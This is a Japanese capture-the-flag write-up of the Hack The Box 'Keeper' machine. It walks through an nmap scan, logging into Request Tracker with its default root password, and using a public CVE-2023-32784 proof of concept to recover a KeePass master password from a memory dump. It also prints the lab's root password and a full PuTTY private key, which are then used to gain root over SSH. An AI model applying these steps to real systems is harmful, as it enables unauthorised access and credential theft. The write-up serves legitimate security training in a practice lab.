はじめに
HTB Keeperを解いた備忘録になります
スキャン
╭─ /home/kali/htb/Keeper
╰─(`・ω・´) < sudo nmap -sC -sV -Pn -p- --min-rate 1000 $IP -oN nmap.txt
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 35:39:d4:39:40:4b:1f:61:86:dd:7c:37:bb:4b:98:9e (ECDSA)
|_ 256 1a:e9:72:be:8b:b1:05:d5:ef:fe:dd:80:d8:ef:c0:66 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 99.61 seconds
sshとhttpのシンプルな構成ですね
HTTP探索
To raise an IT support ticket, please visit tickets.keeper.htb/rt/
(チケットの発行はここにアクセスしてね)
ということでアクセスすると、
ドメインの解決ができていないので、/etc/hostsに書き加えます。
(便利なコマンド)
╭─ /home/kali/htb/Keeper
╰─(`・ω・´) < echo $IP $DOMAIN tickets.$DOMAIN | sudo tee -a /etc/hosts 00:52:52
10.10.11.227 keeper.htb tickets.keeper.htb
RT(Remote Tracker)
RT(Remote Tracker)というOSSのチケット管理システムのようです。
ログインフォームがありますが、今のところ手掛かりはないのでRTについて調べます。
ドキュメント(https://docs.bestpractical.com/rt/4.4.4/)のセキュリティの項目からrootユーザーの初期パスワードが見つかったので試してみます。
入れました。
しばらく探索すると、Usersにlnorgaardというユーザが確認できます。
そして、コメントからパスワードも確認できました
これらの認証情報を使ってsshで接続できるか試します。
ssh
╭─ /home/kali/htb/Keeper
╰─(。>﹏<) < ssh $USER@$IP
lnorgaard@10.10.11.227's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
You have mail.
Last login: Thu Jul 17 03:07:15 2025 from 10.10.14.75
lnorgaard@keeper:~$
無事接続できたので、userフラグが読み取れました。
ここから権限昇格になります。
lnorgaard@keeper:~$ ls
KeePassDumpFull.dmp keepass_dump.py passcodes.kdbx rockyou.txt RT30000.zip user.txt wget-log
userフラグの確認をするためlsコマンドをたたいた際に、何やら色々とファイルがあることが分かります。
いったんzipの中身を確認します。
lnorgaard@keeper:~$ unzip -l RT30000.zip
Archive: RT30000.zip
Length Date Time Name
--------- ---------- ----- ----
253395188 2023-05-24 12:51 KeePassDumpFull.dmp
3630 2023-05-24 12:51 passcodes.kdbx
--------- -------
253398818 2 files
dmpファイルとkdbxファイルがあるみたいですね
マシン名からもKeePassDumpFull.dmpが怪しいです。
ファイル名で検索をかけるとすぐにCVEの記事が見つかります。
CVE-2023-32784
(KeePass)
OSSのパスワード管理ソフト
メモリダンプからパスワードを復元することができる脆弱性のようです。
今回はこのPoCを使ってみる
https://github.com/vdohney/keepass-password-dumper
╭─ /home/kali/htb/Keeper/keepass-password-dumper (main)
╰─(`・ω・´) < dotnet run ../KeePassDumpFull.dmp
Password candidates (character positions):
Unknown characters are displayed as "●"
1.: ●
2.: ø, Ï, ,, l, `, -, ', ], §, A, I, :, =, _, c, M,
3.: d,
4.: g,
5.: r,
6.: ø,
7.: d,
8.: ,
9.: m,
10.: e,
11.: d,
12.: ,
13.: f,
14.: l,
15.: ø,
16.: d,
17.: e,
Combined: ●{ø, Ï, ,, l, `, -, ', ], §, A, I, :, =, _, c, M}dgrød med fløde
脆弱性の特性上、初めの文字が復元されないのでどうにかしなければいけない...
ダメもとで検索をかけるとそれっぽい食べ物?が出てきた。
これをzipされてた、
passcodes.kdbx(KeePassのデータベース)で使ってみる
╭─ /home/kali/htb/Keeper
╰─(`・ω・´) < kpcli
KeePass CLI (kpcli) v3.8.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help <command>' for details on individual commands.
kpcli:/> open passcodes.kdbx
Provide the master password: *************************
kpcli:/> ls
=== Groups ===
passcodes/
kpcli:/> cd passcodes/
kpcli:/passcodes> ls
=== Groups ===
eMail/
General/
Homebanking/
Internet/
Network/
Recycle Bin/
Windows/
うまくいってますね
kpcli:/passcodes/Network> ls
=== Entries ===
0. keeper.htb (Ticketing Server)
1. Ticketing System
kpcli:/passcodes/Network> show 0 -f
Title: keeper.htb (Ticketing Server)
Uname: root
Pass: F4><3K0nd!
URL:
Notes: PuTTY-User-Key-File-3: ssh-rsa
Encryption: none
Comment: rsa-key-20230519
Public-Lines: 6
AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D
8riCZV30ZbfEF09z0PNUn4DisesKB4x1KtqH0l8vPtRRiEzsBbn+mCpBLHBQ+81T
EHTc3ChyRYxk899PKSSqKDxUTZeFJ4FBAXqIxoJdpLHIMvh7ZyJNAy34lfcFC+LM
Cj/c6tQa2IaFfqcVJ+2bnR6UrUVRB4thmJca29JAq2p9BkdDGsiH8F8eanIBA1Tu
FVbUt2CenSUPDUAw7wIL56qC28w6q/qhm2LGOxXup6+LOjxGNNtA2zJ38P1FTfZQ
LxFVTWUKT8u8junnLk0kfnM4+bJ8g7MXLqbrtsgr5ywF6Ccxs0Et
Private-Lines: 14
AAABAQCB0dgBvETt8/UFNdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6j
oDni1wZdo7hTpJ5ZjdmzwxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCih
kmyZTZOV9eq1D6P1uB6AXSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputY
f7n24kvL0WlBQThsiLkKcz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzT
VkCew1DZuYnYOGQxHYW6WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivz
UXjcCAviPpmSXB19UG8JlTpgORyhAAAAgQD2kfhSA+/ASrc04ZIVagCge1Qq8iWs
OxG8eoCMW8DhhbvL6YKAfEvj3xeahXexlVwUOcDXO7Ti0QSV2sUw7E71cvl/ExGz
in6qyp3R4yAaV7PiMtLTgBkqs4AA3rcJZpJb01AZB8TBK91QIZGOswi3/uYrIZ1r
SsGN1FbK/meH9QAAAIEArbz8aWansqPtE+6Ye8Nq3G2R1PYhp5yXpxiE89L87NIV
09ygQ7Aec+C24TOykiwyPaOBlmMe+Nyaxss/gc7o9TnHNPFJ5iRyiXagT4E2WEEa
xHhv1PDdSrE8tB9V8ox1kxBrxAvYIZgceHRFrwPrF823PeNWLC2BNwEId0G76VkA
AACAVWJoksugJOovtA27Bamd7NRPvIa4dsMaQeXckVh19/TF8oZMDuJoiGyq6faD
AF9Z7Oehlo1Qt7oqGr8cVLbOT8aLqqbcax9nSKE67n7I5zrfoGynLzYkd3cETnGy
NNkjMjrocfmxfkvuJ7smEFMg7ZywW7CBWKGozgz67tKz9Is=
Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0
sshのカギが見つかりました。
note:部分をコピペしたkeyファイルを作って、
OpenSSH形式の鍵ファイルid_rsaを作成します。
╭─ /home/kali/htb/Keeper
╰─(`・ω・´) < puttygen key -O private-openssh -o id_rsa 04:22:02
╭─ /home/kali/htb/Keeper
╰─(`・ω・´) < ssh root@$IP -i id_rsa 04:22:15
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
You have new mail.
Last login: Sat Jul 19 17:54:51 2025 from 10.10.14.66
root@keeper:~# ls
root.txt RT30000.zip SQL
root権限奪取・フラグの取得ができました!